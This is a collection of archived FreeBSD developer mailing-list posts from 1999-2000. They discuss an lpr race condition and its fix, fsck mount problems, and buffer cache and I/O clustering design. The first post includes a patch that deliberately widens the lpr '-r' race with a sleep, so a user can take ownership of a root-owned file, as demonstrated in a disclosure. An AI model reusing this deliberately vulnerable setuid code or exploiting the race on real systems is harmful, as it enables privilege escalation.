wait a second...
# ls -l rootfile
-rw-rw 3 user daemon5 Dec 7 13:38 rootfile
# cat rootfile
foo
#
ouch!
-Alfred
use this patch to make the race condition apparrent:
Index: usr.sbin/lpr/lpr/lpr.c
===
RCS file: /home/ncvs/src/usr.sbin/lpr/lpr/lpr.c,v
retrieving revision 1.27.2.2
diff -u -u -r1.27.2.2 lpr.c
--- lpr.c 1999/08/29 15:43:29 1.27.2.2
+++ lpr.c 1999/12/08 01:47:47
@@ -370,6 +370,27 @@
}
if (sflag)
printf("%s: %s: not linked, copying instead\n", name, arg);
+ if( f ) { /* means that the file should be deleted */
+ printf("sleeping\n");
+ sleep(5);
+ printf("done.\n");
+ seteuid(euid); /* needed for rename() to succeed */
+ if( ! rename( arg, dfname ) ) {
+ register int i;
+ chmod( dfname, S_IRUSR | S_IWUSR | S_IRGRP |
+S_IWGRP );
+ chown( dfname, userid, getgrnam("daemon")->gr_gid
+);
+ seteuid(uid);
+ if (format == 'p')
+ card('T', title ? title : arg);
+ for (i = 0; i < ncopies; i++)
+ card(format, &dfname[inchar-2]);
+ card('U', &dfname[inchar-2]);
+ card('N', arg);
+ nact++;
+ continue;
+ }
+ seteuid(uid);
+ }
if ((i = open(arg, O_RDONLY)) < 0) {
printf("%s: cannot open %s\n", name, arg);
} else {
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: NO! Re: [PATCHES] Two fixes for lpd/lpc for review and test
On Fri, 10 Dec 1999, Andre Albsmeier wrote:
> On Thu, 09-Dec-1999 at 15:02:41 -0800, Alfred Perlstein wrote:
> > On Thu, 9 Dec 1999, Andre Albsmeier wrote:
> >
> > ...
> >
> > > For better reference, here is the current patch:
> > >
> >
> > I don't have too much time to think about this, argue me this:
>
> Sure, please tell me if you don't want to get CC'ed on this anymore.
I'm sorry if I sounded like that, I didn't mean to. :)
> > why should I allow a user to print any file on the system?
> >
> > the race condition is still there.
>
> Right :-(. The file won't be given to the user anymore but he can
> print everything. However, there must be a solution for this...
Can someone take a look at this?
Basically, it makes the link to the file, if it can unlink the original
it will then chown the spool file if it can't delete or read the original
then the user didn't have permission and it backs out.
Index: lpr.c
===
RCS file: /home/ncvs/src/usr.sbin/lpr/lpr/lpr.c,v
retrieving revision 1.31
diff -u -r1.31 lpr.c
--- lpr.c 1999/11/30 16:15:22 1.31
+++ lpr.c 1999/12/10 14:09:08
@@ -384,6 +384,46 @@
}
if (sflag)
printf("%s: %s: not linked, copying instead\n", name, arg);
+ if (f) {
+ seteuid(euid);
+ if (link(arg, dfname) == 0) {
+ int ret;
+
+ seteuid(uid);
+ /*
+* if we can access and remove the file without
+* special setuid-ness then allow it.
+*/
+ ret = access(dfname, R_OK);
+ if (ret == 0)
+ ret = unlink(arg);
+ seteuid(euid);
+ if (ret == 0) {
+ /* unlink was successful fixup perms */
+ chown(dfname, userid, getegid());
+ chmod(dfname, S_IRUSR | S_IWUSR | S_IRGRP |
+S_IWGRP);
+ } else {
+ /*
+* the user handed me a file the don't have
+access to,
+* remove it from the spooldir and try other
+methods
+*/
+ unlink(dfname);
+ seteuid(uid);
+ goto nohardlink;
+ }
+ seteuid(uid);
+ if (format == 'p')
+ card('T', title ? title : arg);
+ for (i = 0; i < ncopies; i++)
+ card(format, &dfname[inchar-2]);
+ card('U', &dfname[inchar-2]);
+ card('N', arg);
+ nact++;
+ continue;
+ }
+ seteuid(uid); /* restore old uid */
+ }
+nohardlink:
if ((i = open(arg, O_RDONLY)) < 0) {
printf("%s: cannot open %s\n", name, arg);
} else {
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: NO! Re: [PATCHES] Two fixes for lpd/lpc for review and test
On Fri, 10 Dec 1999, Garance A Drosihn wrote: > At 2:33 AM -0800 12/10/99, Alfred Perlstein wrote: > >Can someone take a look at this? > > > >Basically, it makes the link to the file, if it can unlink the original > >it will then chown the spool file if it can't delete or read the original > >then the user didn't have permission and it backs out. > > I'm thinking you'd what to add an lstat call after creating the > hardlink. Check the new file to see if it's a symlink, and if it > is, then delete the new file and go to nohardlink. Then proceed > with the rest of your code (which looks fine to me, but remember > I'm the guy who wrote a message explicitly for one mailing list, > and then sent it to the other one...). > > I'm not sure on that, and haven't had time to look at the code > yet. I'm just wondering about the case where a user might do a >lpr -r -s somesymlink > and want to be sure this does the right thing. I suspect that > currently (without this patch) lpr will copy the REAL file, and > then remove the symlink. I don't think we want to hard-link to > the symlink, and then remove the original symlink. > > Remember, my mind is tired enough that I could easily be making > things up here... It may be that the situation I'm wondering > about is already covered by other checks in the code. ugh, good call. i'll look into it. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: fsck successfull on checking root-fs but OS still can't mountit
On Thu, 23 Dec 1999, Matthew Dillon wrote: > > :Hi ! > : > :I'm seeing strange behaviour of fsck in -current. > :FreeBSD titan.klemm.gtn.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Wed Dec 22 07:07:11 >CET 1999 root@:/usr/src/sys/compile/TITAN i386 > : > :SCSI bus hang, so I had to reboot. fsck checked every filesystem. > :But then mount was unable to mount the filesystem and tells you to > :check the fs using fsck. Did that again, nothing changed. > :You have to reboot. > : > :I was bitten by that 3 times. > : > :Another thing are the (I assume SCSI) hangs I got 3 times since > :I upgraded from 3.4-STABLE to -current. Next time I'll write down > :the messages. Two times the messages were hidden by another X Window. > :Nothing in /var/log/messages. > > I've been bitten by this several times myself recently. The system comes > up after a crash, fsck's the media, and then can't mount it and drops > into single-user. The only solution is to reboot. I thought so too, but you can actually 'tunefs -n (enbale|disable) /' after that you should be able to mount your /. > > It didn't used to do this. > > -Matt I know... If anyone else cares, the current situation about being unable to auto-reboot (halting on /) is pretty annoying and ought to be fixed. There were various promises made that all the changes going on with devices wouldn't cause such problems. This makes running -current in somewhat production enviornments impossible. unless you hack /etc/rc. Of course I may have just not remade my /dev/ properly, please flame if appropriate. thanks, -Alfred > > > > To Unsubscribe: send mail to [EMAIL PROTECTED] > with "unsubscribe freebsd-current" in the body of the message > -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: install problem with 4.0 (spec_getpages)
* Marc van Kempen <[EMAIL PROTECTED]> [000320 00:58] wrote: > > > > > You also ought to make sure the floppies can get through a complete > > format before dd'ing the images over them. > > > This was it! I went through 8 floppies before I found a decent pair, > these 3.5" things s*ck. Another fun one is dd'ing the 2.88MB images to a 1.44 diskette and being too tired to figure out what the #@$@#$@@# is going wrong while shivering your butt off in the colo facility. blech! :) -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: patches for test / review
* Matthew Dillon <[EMAIL PROTECTED]> [000320 10:01] wrote: > > : > : > :>Kirk and I have already mapped out a plan to drastically update > :>the buffer cache API which will encapsulate much of the state within > :>the buffer cache module. > : > :Sounds good. Combined with my stackable BIO plans that sounds like > :a really great win for FreeBSD. > : > :-- > :Poul-Henning Kamp FreeBSD coreteam member > :[EMAIL PROTECTED] "Real hackers run -current on their laptop." > > I think so. I can give -current a quick synopsis of the plan but I've > probably forgotten some of the bits (note: the points below are not > in any particular order): > * Cleanup the buffer cache API (bread(), BUF_STRATEGY(), and so forth). > Specifically, split out the call functionality such that the buffer > cache can determine whether a buffer being obtained is going to be > used for reading or writing. At the moment we don't know if the system > is going to dirty a buffer until after the fact and this has caused a > lot of pain in regards to dealing with low-memory situations. > > getblk() -> getblk_sh() and getblk_ex() > > Obtain bp without issuing I/O, getting either a shared or exclusive > lock on the bp. With a shared lock you are allowed to issue READ > I/O but you are not allowed to modify the contents of the buffer. > With an exclusive lock you are allowed to issue both READ and WRITE > I/O and you can modify the contents of the buffer. > > bread() -> bread_sh() and bread_ex() > > Obtain and validate (issue read I/O as appropriate) a bp. bread_sh() > allows a buffer to be accessed but not modified or rewritten. > bread_ex() allows a buffer to be modified and written. This seems to allow for expressing intent to write to buffers, which would be an excellent place to cow the pages 'in software' rather than obsd's way of using cow'd pages to accomplish the same thing. I'm not sure if you remeber what I brought up at BAFUG, but I'd like to see something along the lines of BX_BKGRDWRITE that Kirk is using for the bitmaps blocks in softupdates to be enabled on a system wide basis. That way rewriting data that has been sent to the driver isn't blocked and at the same time we don't need to page protect during every strategy call. I may have misunderstood your intent, but using page protections on each IO would seem to introduce a lot of performance issues that the rest of these points are all trying to get rid of. > The idea for the buffer cache is to shift its functionality to one that > is solely used to issue device I/O and to keep track of dirty areas for > proper sequencing of I/O (e.g. softupdate's use of the buffer cache > to placemark I/O will not change). The core buffer cache code would > no longer map things to KVM with b_data, that functionality would be > shifted to the VM Object vm_pager_*() API. The buffer cache would > continue to use the b_pages[] array mechanism to collect pages for I/O, > for clustering, and so forth. Keeping the currect cluster code is a bad idea, if the drivers were taught how to traverse the linked list in the buf struct rather than just notice "a big buffer" we could avoid a lot of page twiddling and also allow for massive IO clustering ( > 64k ) because we won't be limited by the size of the b_pages[] array for our upper bound on the amount of buffers we can issue effectively a scatter/gather on (since the drivers must VTOPHYS them anyway). To realize my "nfs super commit" stuff all we'd need to do is make the max cluster size something like 0-1 and instantly get an almost unbounded IO burst. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: patches for test / review
* Poul-Henning Kamp <[EMAIL PROTECTED]> [000320 11:45] wrote: > In message <[EMAIL PROTECTED]>, Alfred Perlstein writes: > > >Keeping the currect cluster code is a bad idea, if the drivers were > >taught how to traverse the linked list in the buf struct rather > >than just notice "a big buffer" we could avoid a lot of page > >twiddling and also allow for massive IO clustering ( > 64k ) > > Before we redesign the clustering, I would like to know if we > actually have any recent benchmarks which prove that clustering > is overall beneficial ? Yes it is really benificial. I'm not talking about a redesign of the clustering code as much as making the drivers that take a callback from it actually traverse the 'union cluster_info' rather than relying on the system to fake the pages being contiguous via remapping. There's nothing wrong with the clustering algorithms, it's just the steps it has to take to work with the drivers. > > I would think that track-caches and intelligent drives would gain > much if not more of what clustering was designed to do gain. > > I seem to remember Bruce saying that clustering could even hurt ? Yes because of the gyrations it needs to go through to maintain backward compatibility for devices that want to see "one big buffer" rather than simply follow a linked list of io operations. Not true, at least for 'devices' like NFS where large IO ops issued save milliseconds in overhead. Unless each device was to re-buffer IO (which is silly) or scan the vp passed to it (violating the adstraction and being really scary like my flopped super-commit stuff for NFS) it would make NFS performance even worse for doing commits. Without clustering you'd have to issue a commit RPC for each 8k block With the current clustering you have to issue a commit for each 64k block With an unbounded linked list, well there is only the limit that the filesystem asks for. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
I/O clustering, Re: patches for test / review
* Poul-Henning Kamp <[EMAIL PROTECTED]> [000320 12:03] wrote: > In message <[EMAIL PROTECTED]>, Alfred Perlstein writes: > >* Poul-Henning Kamp <[EMAIL PROTECTED]> [000320 11:45] wrote: > >> In message <[EMAIL PROTECTED]>, Alfred Perlstein writes: > >> > >> >Keeping the currect cluster code is a bad idea, if the drivers were > >> >taught how to traverse the linked list in the buf struct rather > >> >than just notice "a big buffer" we could avoid a lot of page > >> >twiddling and also allow for massive IO clustering ( > 64k ) > >> > >> Before we redesign the clustering, I would like to know if we > >> actually have any recent benchmarks which prove that clustering > >> is overall beneficial ? > > > >Yes it is really benificial. > > I would like to see some numbers if you have them. No I don't have numbers. Committing a 64k block would require 8 times the overhead of bundling up the RPC as well as transmission and reply, it may be possible to pipeline these commits because you don't really need to wait for one to complete before issueing another request, but it's still 8x the amount of traffic. You also complicate and penalize drivers because not all drivers can add an IO request to an already started transaction, those devices will need to start new transactions for each buffer instead of bundling up the list and passing it all along. Maybe I'm missing something. Is there something to provide a clean way to cluster IO, can you suggest something that won't have this sort of impact on NFS (and elsewhere) if the clustering code was removed? Bruce, what part of the clustering code makes you think of it as hurting us, I thought it was mapping code? > -- > Poul-Henning Kamp FreeBSD coreteam member > [EMAIL PROTECTED] "Real hackers run -current on their laptop." > FreeBSD -- It will take a long time before progress goes too far! -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: patches for test / review
s b_pages[] array > > In otherwords, keeping the clustering changes as simple as possible. > I think once the new I/O path is operational we can then start thinking > about how to optimize it -- for example, by having a default (embedded) > static array but also allowing the b_pages array to be dynamically > allocated. Why? Why allocate a special buffer pbuf just for all of this, problems can develop where you may have implemented this, and now clustering can grow without (nearly) any bounds, however now you totall have this really inane complexity for the pbuf which locks down _all_ the buffers associated with it until the entire pbuf is marked done, I really don't think that is what you want. The abstraction is sort of nice, but let's break down the annoyances of pbufs: an extra allocation that can fail when the system is issueing a lot of IO (exactly when we need more of them) an array fill to track the buffers a possible additional allocation for the b_pages if that gets implemented buffer lockdown (which although addressed above, is still something to avoid) other stuff to make sure the rest of the kernel only sees the pbuf. If anything perhaps a zone for b_pages to allow for easy use of GET/PUT_PAGES then copying it into the list of buffers. It's really up to you as you have the time and clue to do this, but I wanted to bring up the issues I had with the current implementation as well as an alternate suggestion. Since you're actually doing the work and I do agree with the direction it's going I wish you and Kirk the best of luck. I have to get back to my html/php/db stuff (kill me now). :) Thanks for taking the time to go over it. -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
